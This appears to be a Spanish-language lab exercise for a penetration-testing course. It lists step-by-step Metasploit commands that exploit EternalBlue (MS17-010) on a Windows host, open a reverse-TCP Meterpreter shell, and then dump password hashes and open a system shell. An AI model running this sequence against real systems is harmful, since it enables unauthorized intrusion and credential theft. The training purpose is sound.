Práctica 04 - Fase de Explotación con Metasploit

1. Iniciar Metasploit Framework

Iniciamos Metasploit en tu terminal:

```
msfconsole
```

2. Buscar un exploit específico

Utilizamos el comando search para localizar un exploit relevante:

```
search type:exploit name:ms17_010
```

3. Seleccionar el exploit

Seleccionamos el exploit encontrado en el paso anterior:

```
use exploit/windows/smb/ms17_010_eternalblue
```

4. Configurar parámetros del exploit

Configuramos la dirección IP del objetivo:

```
set RHOSTS 192.168.1.10
```

5. Configurar el payload

Seleccionamos un payload compatible, como un shell reverso:

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

Configuramos la dirección IP local y el puerto de escucha:

```
set LHOST 192.168.1.20
set LPORT 4444
```

Nota: LHOST es la IP de nuestra máquina y LPORT el puerto que escuchará el payload.

6. Ejecutar el exploit

Lanzamos el ataque contra el objetivo:

```
exploit
```

7. Post-explotación

Usamos los comandos de Meterpreter para obtener más información o control del sistema:

```
sysinfo       # Obtiene información del sistema
hashdump      # Extrae hashes de contraseñas
shell         # Abre una terminal del sistema objetivo
```